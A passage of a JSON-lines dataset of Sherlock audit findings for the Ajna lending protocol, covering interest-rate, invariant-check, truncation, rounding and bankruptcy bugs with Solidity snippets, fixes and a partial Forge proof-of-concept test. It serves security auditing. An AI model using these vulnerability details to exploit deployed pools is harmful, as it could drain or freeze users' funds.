borrower.npTpRatio\n );\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//010-M/050-best.md"}} +{"title":"lenderKick incorrectly sets LUP","severity":"medium","body":"Bumpy Punch Albatross\n\nmedium\n\n# lenderKick incorrectly sets LUP\n## Summary\n\n`KickerActions.lenderKick` retrieves what the LUP would be if the lender's deposit were removed to validate collateralization of the borrower being kicked. The method doesn't actually add to the deposit but returns the incorrect LUP where it is later incorrectly used to update the interest rate.\n\n## Vulnerability Detail\n\nIn `KickerActions.lenderKick`, we compute the `entitledAmount` of quote tokens if the lender were to withdraw their whole position. We pass this value as `additionalDebt_` to `_kick` where it allows us to compute what the LUP would be if the lender removed their position. The function then proceeds to validate that the new LUP would leave the borrower undercollateralized, and if so, kick that borrower. \n\nThe problem is that we then return the computed LUP even though we aren't actually removing the lender's quote tokens. In `Pool.lenderKick`, we then pass this incorrect LUP to `_updateInterestState` where it is used to incorrectly update the `lupt0DebtEma`, which is used to calculate the interest rate, leading to an incorrect rate.\n\n## Impact\n\nBroken core invariant related to interest rate calculation. Impact on interest rate is dependent upon size of lender's position relative to total deposit size.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L296\n```solidity\n// add amount to remove to pool debt in order to calculate proposed LUP\n// for regular kick this is the currrent LUP in pool\n// for provisional kick this simulates LUP movement with additional debt\nkickResult_.lup = Deposits.getLup(deposits_, poolState_.debt + additionalDebt_);\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L363\n```solidity\n_updateInterestState(poolState, result.lup);\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCalculate the actual LUP as `kickResult_.lup`, then calculate the simulated LUP separately with an unrelated variable.","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//009-M/049-best.md"}} +{"title":"Users could make Lup goes below HTP by using LenderActions::moveQuoteToken in a specific case","severity":"medium","body":"Perfect Vinyl Whale\n\nhigh\n\n# Users could make Lup goes below HTP by using LenderActions::moveQuoteToken in a specific case\n## Summary\nMoving deposits from lup index bucket ( index == LUP) to smaller index could bypass the invariant (LUP >= HTP) check\n## Vulnerability Detail\nIn moveQuoteToken(), after removing deposits from the original bucket and adding deposits to the destination bucket, the code will check if the final result pushes LUP below HTP. If yes then the tx will revert.\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L322-L333\n\nWhen fromIndex == Lup index, moving deposits to lower bucket can actually make LUP goes down. While htp is unchanged (based on loans only), there will be chances that LUP goes below HTP.\n\nThe problem is when fromIndex == Lup index , the code skips checking if lup goes below htp due to the first condition of the invariant check (params_.fromIndex < params_.toIndex) \n\n\n\nConsider this example: \nBucket #3: 10 QTs\nBucket #2: 15 QTs\nBucket #1: 5 QTs\n\nDebt: 20QTs\n\nAs definition,\n\n_We can think of a\nbucket’s deposit as being utilized if the sum of all deposits in buckets priced higher than it is less\nthan the total debt of all borrowers in the pool. The lowest price among utilized buckets or\n“lowest utilized price” is called the LUP_\n\nso the original LUP index is 2.\n\nNow an user moves 10 QT from bucket #2 (LUP index) to bucket #1 (lower index). The new amount of QTs in each bucket will be:\n\nBucket #3: 10 QTs\nBucket #2: 5 QTs\nBucket #1: ~15QTs \n\nDebt: 20 QTs\n\nNow the new LUP index is 1. If the HTP is somewhere between 2 and 1, moving deposits will make LUP < HTP, yet it still bypasses the invariant check.\n## Impact\nBreaking one of the most important invariants of the protocol.\nAs stated in the whitepaper,\n\n_In other words: in order to remove a deposit, the user must ensure that this action does not cause the LUP to move below the “highest threshold price”, HTP, which is the threshold price of the least collateralized loan_\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/LenderActions.sol#L322-L333\n## Tool used\n\nManual Review\n\n## Recommendation\nConsider either adding this case (from index = lup index) or removing the first condition ( params_.fromIndex < params_.toIndex) of the invariant check.\n```solidity\n if (\n //params_.fromIndex < params_.toIndex\n //&&\n (\n // check loan book's htp doesn't exceed new lup\n vars.htp > lup_\n ||\n // ensure that pool debt < deposits after move\n // this can happen if deposit fee is applied when moving amount\n (poolState_.debt != 0 && poolState_.debt > Deposits.treeSum(deposits_))\n )\n ) revert LUPBelowHTP();\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//008-M/047-best.md"}} +{"title":"Unsafe truncation casting is used for a number of state variables, including uncapped ones","severity":"medium","body":"Restless White Bee\n\nmedium\n\n# Unsafe truncation casting is used for a number of state variables, including uncapped ones\n## Summary\n\n`inflator`, `bondSize`, `t0ThresholdPrice` are truncated in the logic without overflow checks.\n\n## Vulnerability Detail\n\nAlthough the probabilities of reaching the corresponding limits are very small, the consequences of material truncations is pool accounting corruption.\n\n## Impact\n\nIf truncation does happen, then it will facilitate massive losses for pool users, say `inflator` one will reset the balances. Future code evolution inheriting the logic might end up having substantially bigger probabilities of reaching the type limits.\n\n## Code Snippet\n\n`poolState_.inflator` isn't capped:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L542-L573\n\n```solidity\n function _accruePoolInterest() internal returns (PoolState memory poolState_) {\n ...\n\n // if new interest may have accrued, call accrueInterest function and update inflator and debt fields of poolState_ struct\n if (poolState_.isNewInterestAccrued) {\n>> (uint256 newInflator, uint256 newInterest) = PoolCommons.accrueInterest(\n ...\n );\n>> poolState_.inflator = newInflator;\n // After debt owed to lenders has accrued, calculate current debt owed by borrowers\n poolState_.debt = Maths.wmul(poolState_.t0Debt, poolState_.inflator);\n```\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/PoolCommons.sol#L220-L231\n\n```solidity\n function accrueInterest(\n EmaState storage emaParams_,\n DepositsState storage deposits_,\n PoolState calldata poolState_,\n uint256 thresholdPrice_,\n uint256 elapsed_\n ) external returns (uint256 newInflator_, uint256 newInterest_) {\n // Scale the borrower inflator to update amount of interest owed by borrowers\n>> uint256 pendingFactor = PRBMathUD60x18.exp((poolState_.rate * elapsed_) / 365 days);\n\n // calculate the highest threshold price\n>> newInflator_ = Maths.wmul(poolState_.inflator, pendingFactor);\n```\n\nAt some point very distant point it will be silently truncated with disastrous debt state resetting outcome:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L678-L687\n\n```solidity\n function _updateInterestState(\n PoolState memory poolState_,\n uint256 lup_\n ) internal {\n\n PoolCommons.updateInterestState(interestState, emaState, deposits, poolState_, lup_);\n\n // update pool inflator\n if (poolState_.isNewInterestAccrued) {\n inflatorState.inflator = uint208(poolState_.inflator);\n```\n\nAlso, for completness, notice that `vars.bondChange` is truncated in `_rewardTake()`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L565-L583\n\n```solidity\n function _rewardTake(\n AuctionsState storage auctions_,\n Liquidation storage liquidation_,\n TakeLocalVars memory vars\n ) internal {\n if (vars.isRewarded) {\n // take is below neutralPrice, Kicker is rewarded\n>> liquidation_.bondSize += uint160(vars.bondChange);\n auctions_.kickers[vars.kicker].locked += vars.bondChange;\n auctions_.totalBondEscrowed += vars.bondChange;\n } else {\n // take is above neutralPrice, Kicker is penalized\n vars.bondChange = Maths.min(liquidation_.bondSize, vars.bondChange);\n\n>> liquidation_.bondSize -= uint160(vars.bondChange);\n auctions_.kickers[vars.kicker].locked -= vars.bondChange;\n auctions_.totalBondEscrowed -= vars.bondChange;\n }\n }\n```\n\nAnd in `_rewardBucketTake()`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/TakerActions.sol#L652-L660\n\n```solidity\n } else {\n // take is above neutralPrice, Kicker is penalized\n vars.bondChange = Maths.min(liquidation_.bondSize, vars.bondChange);\n\n>> liquidation_.bondSize -= uint160(vars.bondChange);\n\n auctions_.kickers[vars.kicker].locked -= vars.bondChange;\n auctions_.totalBondEscrowed -= vars.bondChange;\n }\n```\n\n`t0ThresholdPrice` is truncated in `update()`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/internal/Loans.sol#L83-L94\n\n```solidity\n uint256 t0ThresholdPrice = activeBorrower ? Maths.wdiv(borrower_.t0Debt, borrower_.collateral) : 0;\n\n // loan not in auction, update threshold price and position in heap\n if (!inAuction_ ) {\n // get the loan id inside the heap\n uint256 loanId = loans_.indices[borrowerAddress_];\n if (activeBorrower) {\n // revert if threshold price is zero\n if (t0ThresholdPrice == 0) revert ZeroThresholdPrice();\n\n // update heap, insert if a new loan, update loan if already in heap\n>> _upsert(loans_, borrowerAddress_, loanId, uint96(t0ThresholdPrice));\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nFor the sake of unification and eliminating these considerations consider using `SafeCast` in all the occurrences above, e.g.:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/KickerActions.sol#L396-L411\n\n```solidity\n function _recordAuction(\n ...\n ) internal {\n // record liquidation info\n liquidation_.kicker = msg.sender;\n liquidation_.kickTime = uint96(block.timestamp);\n liquidation_.referencePrice = SafeCast.toUint96(referencePrice_);\n liquidation_.bondSize = SafeCast.toUint160(bondSize_);\n liquidation_.bondFactor = SafeCast.toUint96(bondFactor_);\n liquidation_.neutralPrice = SafeCast.toUint96(neutralPrice_);\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//007-M/046-best.md"}} +{"title":"First pool borrower pays extra interest","severity":"medium","body":"Bumpy Punch Albatross\n\nhigh\n\n# First pool borrower pays extra interest\n## Summary\n\nThere exists an exception in the interest logic in which the action of borrowing from a pool for the first time (or otherwise when there is 0 debt) does not trigger the inflator to update. As a result, the borrower's interest effectively started accruing at the last time the inflator was updated, before they even borrowed, causing them to pay more interest than intended.\n\n## Vulnerability Detail\n\nFor any function in which the current interest rate is important in a pool, we compute interest updates by accruing with `_accruePoolInterest` at the start of the function, then execute the main logic, then update the interest state accordingly with `_updateInterestState`. See below a simplified example for `ERC20Pool.drawDebt`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC20Pool.sol#L130\n```solidity\nfunction drawDebt(\n address borrowerAddress_,\n uint256 amountToBorrow_,\n uint256 limitIndex_,\n uint256 collateralToPledge_\n) external nonReentrant {\n PoolState memory poolState = _accruePoolInterest();\n\n ...\n\n DrawDebtResult memory result = BorrowerActions.drawDebt(\n auctions,\n deposits,\n loans,\n poolState,\n _availableQuoteToken(),\n borrowerAddress_,\n amountToBorrow_,\n limitIndex_,\n collateralToPledge_\n );\n\n ...\n\n // update pool interest rate state\n _updateInterestState(poolState, result.newLup);\n\n ...\n}\n```\n\nWhen accruing interest in `_accruePoolInterest`, we only update the state if `poolState_.t0Debt != 0`. Most notably, we don't set `poolState_.isNewInterestAccrued`. See below simplified logic from `_accruePoolInterest`:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L552\n```solidity\n// check if t0Debt is not equal to 0, indicating that there is debt to be tracked for the pool\nif (poolState_.t0Debt != 0) {\n ...\n\n // calculate elapsed time since inflator was last updated\n uint256 elapsed = block.timestamp - inflatorState.inflatorUpdate;\n\n // set isNewInterestAccrued field to true if elapsed time is not 0, indicating that new interest may have accrued\n poolState_.isNewInterestAccrued = elapsed != 0;\n\n ...\n}\n```\n\nOf course before we actually update the state from the first borrow, the debt of the pool is 0, and recall that `_accruePoolInterest` runs before the main state changing logic of the function in `BorrowerActions.drawDebt`.\n\nAfter executing the main state changing logic in `BorrowerActions.drawDebt`, where we update state, including incrementing the pool and borrower debt as expected, we run the logic in `_updateInterestState`. Here we update the inflator if either `poolState_.isNewInterestAccrued` or `poolState_.debt == 0`.\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L686\n```solidity\n// update pool inflator\nif (poolState_.isNewInterestAccrued) {\n inflatorState.inflator = uint208(poolState_.inflator);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n// if the debt in the current pool state is 0, also update the inflator and inflatorUpdate fields in inflatorState\n// slither-disable-next-line incorrect-equality\n} else if (poolState_.debt == 0) {\n inflatorState.inflator = uint208(Maths.WAD);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n}\n```\n\nThe problem here is that since there was no debt at the start of the function, `poolState_.isNewInterestAccrued` is false and since there is debt now at the end of the function, `poolState_.debt == 0` is also false. As a result, the inflator is not updated. Updating the inflator here is paramount since it effectively marks a starting time at which interest accrues on the borrowers debt. Since we don't update the inflator, the borrowers debt effectively started accruing interest at the time of the last inflator update, which is an arbitrary duration.\n\nWe can prove this vulnerability by modifying `ERC20PoolBorrow.t.sol:testPoolBorrowAndRepay` to skip 100 days before initially drawing debt:\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/tests/forge/unit/ERC20Pool/ERC20PoolBorrow.t.sol#L94\n```solidity\nfunction testPoolBorrowAndRepay() external tearDown {\n // check balances before borrow\n assertEq(_quote.balanceOf(address(_pool)), 50_000 * 1e18);\n assertEq(_quote.balanceOf(_lender), 150_000 * 1e18);\n\n // @audit skip 100 days to break test\n skip(100 days);\n\n _drawDebt({\n from: _borrower,\n borrower: _borrower,\n amountToBorrow: 21_000 * 1e18,\n limitIndex: 3_000,\n collateralToPledge: 100 * 1e18,\n newLup: 2_981.007422784467321543 * 1e18\n });\n\n ...\n}\n```\n\nUnlike the result without skipping time before drawing debt, the test fails with output logs being off by amounts roughly corresponding to the unexpected interest.\n![image](https://github.com/sherlock-audit/2023-09-ajna-kadenzipfel/assets/30579067/6196d147-ff67-4781-aa76-cae408be759d)\n\n## Impact\n\nFirst borrower **always** pays extra interest, with losses depending upon time between adding liquidity and drawing debt and amount of debt drawn.\n\nNote also that there's an attack vector here in which the liquidity provider can intentionally create and fund the pool a long time before announcing it, causing the initial borrower to lose a significant amount to interest.\n\n## Code Snippet\n\nSee 'Vulnerability Detail' section for snippets.\n\n## Tool used\n\n- Manual Review\n- Forge\n\n## Recommendation\n\nWhen checking whether the debt of the pool is 0 to determine whether to reset the inflator, it should not only check whether the debt is 0 at the end of execution, but also whether the debt was 0 before execution. To do so, we should cache the debt at the start of the function and modify the `_updateInterestState` logic to be something like:\n\n```solidity\n// update pool inflator\nif (poolState_.isNewInterestAccrued) {\n inflatorState.inflator = uint208(poolState_.inflator);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n// if the debt in the current pool state is 0, also update the inflator and inflatorUpdate fields in inflatorState\n// slither-disable-next-line incorrect-equality\n// @audit reset inflator if no debt before execution\n} else if (poolState_.debt == 0 || debtBeforeExecution == 0) {\n inflatorState.inflator = uint208(Maths.WAD);\n inflatorState.inflatorUpdate = uint48(block.timestamp);\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//006-M/026-best.md"}} +{"title":"HPB may be incorrectly bankrupt due to use of unscaled value in `_forgiveBadDebt`","severity":"medium","body":"Bumpy Punch Albatross\n\nmedium\n\n# HPB may be incorrectly bankrupt due to use of unscaled value in `_forgiveBadDebt`\n## Summary\n\nAn unscaled value is used in place of where a scaled value should be used in the bankruptcy check in `_forgiveBadDebt`. This may cause the bucket to be incorrectly marked as bankrupt, losing user funds.\n\n## Vulnerability Detail\n\nAt the end of `_forgiveBadDebt`, we do a usual bankruptcy check in which we check whether the remaining deposit and collateral will be little enough that the exchange rate will round to 0, in which case we mark the bucket as bankrupt, setting the bucket lps and effectively all user lps as 0.\n\nThe problem lies in the fact that we use `depositRemaining` as part of this check, which represents an unscaled value. As a result, when computing whether the exchange rate rounds to 0 our logic is off by a factor of the bucket's scale. The bucket may be incorrectly marked as bankrupt if the unscaled `depositRemaining` would result in an exchange rate of 0 when the scaled `depositRemaining` would not.\n\n## Impact\n\nLoss of user funds.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/libraries/external/SettlerActions.sol#L485\n```solidity\n// If the remaining deposit and resulting bucket collateral is so small that the exchange rate\n// rounds to 0, then bankrupt the bucket. Note that lhs are WADs, so the\n// quantity is naturally 1e18 times larger than the actual product\n// @audit depositRemaining should be a scaled value\nif (depositRemaining * Maths.WAD + hpbBucket.collateral * _priceAt(index) <= bucketLP) {\n // existing LP for the bucket shall become unclaimable\n hpbBucket.lps = 0;\n hpbBucket.bankruptcyTime = block.timestamp;\n\n emit BucketBankruptcy(\n index,\n bucketLP\n );\n}\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nSimply scale `depositRemaining` before doing the bankruptcy check, e.g. something like:\n\n```solidity\ndepositRemaining = Maths.wmul(depositRemaining, scale);\nif (depositRemaining * Maths.WAD + hpbBucket.collateral * _priceAt(index) <= bucketLP) {\n // existing LP for the bucket shall become unclaimable\n hpbBucket.lps = 0;\n hpbBucket.bankruptcyTime = block.timestamp;\n\n emit BucketBankruptcy(\n index,\n bucketLP\n );\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//005-M/025-best.md"}} +{"title":"Loss of user's LPB in `removeQuoteToken` due to lack of rounding","severity":"medium","body":"Real Pastel Starfish\n\nmedium\n\n# Loss of user's LPB in `removeQuoteToken` due to lack of rounding\n## Summary\n\nThe function `removeQuoteToken` receives `maxAmount_` as an argument, that is the amount (in WAD) of quote token to be removed by the lender. Because that value is not rounded to quote token's precison, a user may burn more `LPB` than necessary in order to withdraw the same amount of quote token. \n\n## Vulnerability Detail\n\nThe `removeQuoteToken` function is used by the lenders to withdraw deposits (quote tokens) from a bucket. The user must specify the maximum amount of quote token that must be withdrawn from that bucket via the `maxAmount_` argument. Then, the function calculates the actual tokens that have been withdrawn and that value is set in `removedAmount_`. The last step of the function is send `removedAmount_ / QUOTE_SCALE` tokens to the user. \n\nThe variable `removedAmount_` has 18 decimals of precision and is not rounded until the moment of sending funds to the user, so the function is using the non-rounded value to calculate the amount of `LPB` to be burned. \n\nThis means that we are taking a greater number to calculate the amount of `LPB` burned (`removedAmount_` without rounding) but we're sending the user an amount of tokens as if `removedAmount` was rounded. \n\nImagine this scenario, we have a pool with `USDC` as quote token (6 decimals) and 2 lenders want to withdraw some deposits from buckets: \n\n```text\nLender1 and lender2 remove quote token from buckets with exchangeRate of 1:1:\n(for the example we assume that the lenders and buckets have enough LPB to support the withdrawal)\n\nLender1:\n - maxAmount_ = 1000000999999999999 (1.000000999999999999 in WAD)\n - removedAmount_ = maxAmount_\n - redeemedLP = maxAmount_\n - quoteTokenReceived = maxAmount_ / 1e12 = 1e6\n \nLender2:\n - maxAmount_ = 1e18 (1 in WAD)\n - removedAmount = maxAmount_\n - redeemedLP = maxAmount_\n - quoteTokenReceived = maxAmount_ / 1e12 = 1e6\n \n\nLender1 has burned 1000000999999999999 LPB.\nLender2 has burned 1000000000000000000 LPB.\nBoth lenders have received the same amount of quote tokens (1e6).\n```\n\nAs showed in the example, some lenders may burn more or less `LPB` while receiving the same amount of quote tokens, thus violating the system design.\n\n## Impact\n\nEverytime users call `removeQuoteToken` without rounding the `maxAmount_` variable to quote token's precision they'll be burning excess `LPB`.\n\nIn pools where quote token's precision is lower than 18 decimals, there is no low-probability prerequisites and the impact will be the loss of assets (LPB) from the users, as well as an unfairly advantage from the users that know this issue and how to avoid it. That's why severity is set to medium. \n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/base/Pool.sol#L225-L262\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRound the argument `maxAmount_` to quote token's precision to avoid the excess of `LPB` burned. \n\n```diff\nfunction removeQuoteToken(\n uint256 maxAmount_,\n uint256 index_\n) external override nonReentrant returns (uint256 removedAmount_, uint256 redeemedLP_) {\n _revertIfAuctionClearable(auctions, loans);\n\n PoolState memory poolState = _accruePoolInterest();\n \n+ // round to token precision\n+ maxAmount_ = _roundToScale(maxAmount_, poolState.quoteTokenScale);\n\n // ...\n}\n```","dataSource":{"name":"sherlock-audit/2023-09-ajna-judging","repo":"https://github.com/sherlock-audit/2023-09-ajna-judging","url":"https://github.com/sherlock-audit/2023-09-ajna-judging/blob/main//004-M/031-best.md"}} +{"title":"Lenders can't withdraw all claimable collateral (ERC721) while auctions ongoing","severity":"medium","body":"Real Pastel Starfish\n\nhigh\n\n# Lenders can't withdraw all claimable collateral (ERC721) while auctions ongoing\n## Summary\n\nIn ERC721 pools, when all NFTs are initially holded by the borrowers (still no claimable collateral), then some of them get kicked and `bucketTake` is called, there's a big chance that the lenders won't be able to withdraw the claimable collateral liquidated until some of the auctions finishes. \n\n## Vulnerability Detail\n\nIn ERC721 pools, the NFTs used as collateral that the contract holds are stored in two different arrays depending on the state of the collateral: `borrowerTokenIds` and `bucketTokenIds`.\n\nThe array `borrowerTokenIds` holds the NFTs that belong to a specific borrower while the array `bucketTokenIds` holds the NFTs that the lenders can claim. When a `take` (or `bucketTake`) action is called, the `_rebalanceTokens` function is called to transfer the NFTs sold in that `take` action from the borrower's array to the lender's array.\n\nBecause of the nature of non-fungible tokens, is not possible to transfer 0.5 NFTs so the `_rebalanceTokens` will only transfer NFTs from the borrower to the lenders when the borrower loses the full unit of collateral. That means that if a borrower has `collateral = 0.1e18`, his `borrowerTokenIds` will have a full NFT in it. \n\nHere is the function `rebalanceTokens`:\nhttps://github.com/sherlock-audit/2023-09-ajna/blob/main/ajna-core/src/ERC721Pool.sol#L525-L547\n\n```solidity\nfunction _rebalanceTokens(\n address borrowerAddress_,\n uint256 borrowerCollateral_\n) internal {\n // rebalance borrower's collateral, transfer difference to floor collateral from borrower to pool claimable array\n uint256[] storage borrowerTokens = borrowerTokenIds[borrowerAddress_];\n\n uint256 noOfTokensPledged = borrowerTokens.length;\n /*\n eg1. borrowerCollateral_ = 4.1, noOfTokensPledged = 6; noOfTokensToTransfer = 1\n eg2. borrowerCollateral_ = 4, noOfTokensPledged = 6; noOfTokensToTransfer = 2\n */\n uint256 borrowerCollateralRoundedUp = (borrowerCollateral_ + 1e18 - 1) / 1e18;\n uint256 noOfTokensToTransfer = noOfTokensPledged - borrowerCollateralRoundedUp;\n\n for (uint256 i = 0; i < noOfTokensToTransfer;) {\n uint256 tokenId = borrowerTokens[--noOfTokensPledged]; // start with moving the last token pledged by borrower\n borrowerTokens.pop(); // remove token id from borrower\n bucketTokenIds.push(tokenId); // add token id to pool claimable tokens\n\n unchecked { ++i; }\n }\n}\n```\n\nIn cases when `bucketTake` is called, is possible that only a partial amount of a unit of collateral is taken due to the constraint in that bucket's deposits. That means that maybe only `0.5e18` units of collateral is taken instead of the full unit (`1e18`). In these cases when only a partial unit of collateral is taken, no NFTs will be transferred from the borrower's array to the lender's array. \n\nBecause the collateral units are only moved from `borrowerTokenIds` to `bucketTokenIds` when a full unit of collateral is taken, this allows a scenario where a lender wants to withdraw claimable collateral from a bucket and is not possible because the `bucketTokenIds` doesn't have enough NFTs. \n\n## Impact\n\nIf the conditions mentioned above are met, there will be a situation where a lender can't withdraw his NFT until some auction finished, so that could be a maximum of 72 hours of locked assets. \n\nThere is no low-probability prerequisites and the impact is a freezing of funds, so setting the severity to be high.\n\n## Proof of Concept\n\nImagine this scenario where two borrowers are in an ERC721 pool:\n\n\n - borrower1: collateral = 1e18\n - borrower2: collateral = 1e18\n \n - pool.borrowerTokenIds[borrower1].length = 1\n - pool.borrowerTokenIds[borrower2].length = 1\n - pool.bucketTokenIds.length = 0\n\nBoth borrowers are kicked. When some time has passed, `bucketTake` is called on both liquidating `0.5e18` collateral on both borrowers. \n\nBecause both borrowers still have `0.5e18` collateral, no NFTs are transfered from `borrowerTokenIds` to `bucketTokenIds`. \n\nNow, there's a total of `1e18` claimable collateral in the buckets so if a lender merges the collateral in the same bucket and wants to redeem LPB in order to withdraw the full NFT it should be possible but it isn't. \n\nWhen the lender tries to withdraw the NFT, the call will revert because the `bucketTokenIds` array doesn't have NFTs in it. That NFT will be locked in the contract untill one of the auctions settles. \n\nHere is a coded POC of this scenario:\n\nPaste this code in a new file inside `/tests/forge/unit/ERC721Pool` and run it with `forge test --match-test testStuckNFTs -vvv`\n```solidity\n// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.18;\n\nimport { ERC721HelperContract } from './ERC721DSTestPlus.sol';\n\nimport 'src/libraries/helpers/PoolHelper.sol';\n\ncontract ERC721PoolLiquidationsDepositTakeTest is ERC721HelperContract {\n\n address internal _borrower;\n address internal _borrower2;\n address internal _lender;\n address internal _taker;\n\n function testStuckNFTs() external {\n _startTest();\n\n _borrower = makeAddr(\"borrower\");\n _borrower2 = makeAddr(\"borrower2\");\n _lender = makeAddr(\"lender\");\n _taker = makeAddr(\"taker\");\n\n // deploy pool\n uint256[] memory subsetTokenIds = new uint256[](0);\n _pool = _deploySubsetPool(subsetTokenIds);\n\n _mintAndApproveQuoteTokens(_lender, 10 * 1e18);\n _mintAndApproveQuoteTokens(_borrower, 10 * 1e18);\n\n _mintAndApproveCollateralTokens(_borrower, 5);\n _mintAndApproveCollateralTokens(_borrower2, 5);\n\n // Lender adds quote token at 3 buckets\n _addInitialLiquidity({\n from: _lender,\n amount: 5 * 1e18,\n index: 4156 // price of 1\n });\n _addInitialLiquidity({\n from: _lender,\n amount: 0.5 * 1e18,\n index: 4157 // price of 1.005\n });\n _addInitialLiquidity({\n from: _lender,\n amount: 0.5 * 1e18,\n index: 4158 // price of 1.010025\n });\n\n // first borrower adds collateral token and borrows\n uint256[] memory tokenIdsToAdd = new uint256[](1);\n tokenIdsToAdd[0] = 1;\n uint256 expectedNewLup = 1 * 1e18;\n\n // Both borrowers deposit 1 NFT as collateral and borrow 0.9e18 quote tokens\n _pledgeCollateral({\n from: _borrower,\n borrower: _borrower,\n tokenIds: tokenIdsToAdd\n });\n _borrow({\n from: _borrower,\n amount: 0.9 * 1e18,\n indexLimit: 4156,\n newLup: expectedNewLup\n });\n\n tokenIdsToAdd = new uint256[](1);\n tokenIdsToAdd[0] = 8;\n _pledgeCollateral({\n from: _borrower2,\n borrower: _borrower2,\n tokenIds: tokenIdsToAdd\n });\n _borrow({\n from: _borrower2,\n amount: 0.9 * 1e18,\n indexLimit: 4156,\n newLup: expectedNewLup\n });\n\n /*****************************/\n /*** Assert pre-kick state ***/\n /*****************************/\n\n _assertPool(\n PoolParams({\n htp: 0.900865384615384616 * 1e18,\n lup: expectedNewLup,\n poolSize: 6 * 1e18,\n pledgedCollateral: 2 * 1e18,\n encumberedCollateral: 1.801730769230769232 * 1e18,\n poolDebt: 1.801730769230769232 * 1e18,\n actualUtilization: 0,\n targetUtilization: 1 * 1e18,\n minDebtAmount: 0.090086538461538462 * 1e18,\n loans: 2,\n maxBorrower: address(_borrower),\n interestRate: 0.05 * 1e18,\n interestRateUpdate: _startTime\n })\n );\n _assertBorrower({\n borrower: _borrower,\n borrowerDebt: 0.900865384615384616 * 1e18,\n borrowerCollateral: 1 * 1e18,\n borrowert0Np: 1.037619811928824661 * 1e18,\n borrowerCollateralization: 1.110043761340591311 * 1e18\n });\n _assertBorrower({\n borrower: _borrower2,\n borrowerDebt: 0.900865384615384616 * 1e18,\n borrowerCollateral: 1 * 1e18,\n borrowert0Np: 1.037619811928824661 * 1e18,\n borrowerCollateralization: 1.110043761340591311 * 1e18\n });\n\n assertEq(_quote.balanceOf(_lender), 4 * 1e18);\n\n // Skip to make both borrowers undercollateralized\n skip(1000 days);\n\n _kick({\n from: _lender,\n borrower: _borrower,\n debt: 1.033123628629169037 * 1e18,\n collateral: 1 * 1e18,\n bond: 0.015683167828397025 * 1e18,\n transferAmount: 0.015683167828397025 * 1e18\n });\n\n _kick({\n from: _lender,\n borrower: _borrower2,\n debt: 1.033123628629169037 * 1e18,\n collateral: 1 * 1e18,\n bond: 0.015683167828397025 * 1e18,\n transferAmount: 0.015683167828397025 * 1e18\n });\n\n /******************************/\n /*** Assert Post-kick state ***/\n /******************************/\n\n _assertPool(\n PoolParams({\n htp: 0,\n lup: 1e18,\n poolSize: 6.224839014823433514 * 1e18,\n pledgedCollateral: 2 * 1e18,\n encumberedCollateral: 2.066247257258338074 * 1e18,\n poolDebt: 2.066247257258338074 * 1e18,\n actualUtilization: 0.300288461538461539 * 1e18,\n targetUtilization: 0.900865384615384616 * 1e18,\n minDebtAmount: 0,\n loans: 0,\n maxBorrower: address(0),\n interestRate: 0.045 * 1e18,\n interestRateUpdate: block.timestamp\n })\n );\n _assertBorrower({\n borrower: _borrower,\n borrowerDebt: 1.033123628629169037 * 1e18,\n borrowerCollateral: 1e18,\n borrowert0Np: 1.037619811928824661 * 1e18,\n borrowerCollateralization: 0.967938368931586519 * 1e18\n });\n _assertBorrower({\n borrower: _borrower2,\n borrowerDebt: 1.033123628629169037 * 1e18,\n borrowerCollateral: 1e18,\n borrowert0Np: 1.037619811928824661 * 1e18,\n borrowerCollateralization: 0.967938368931586519 * 1e18\n });\n\n 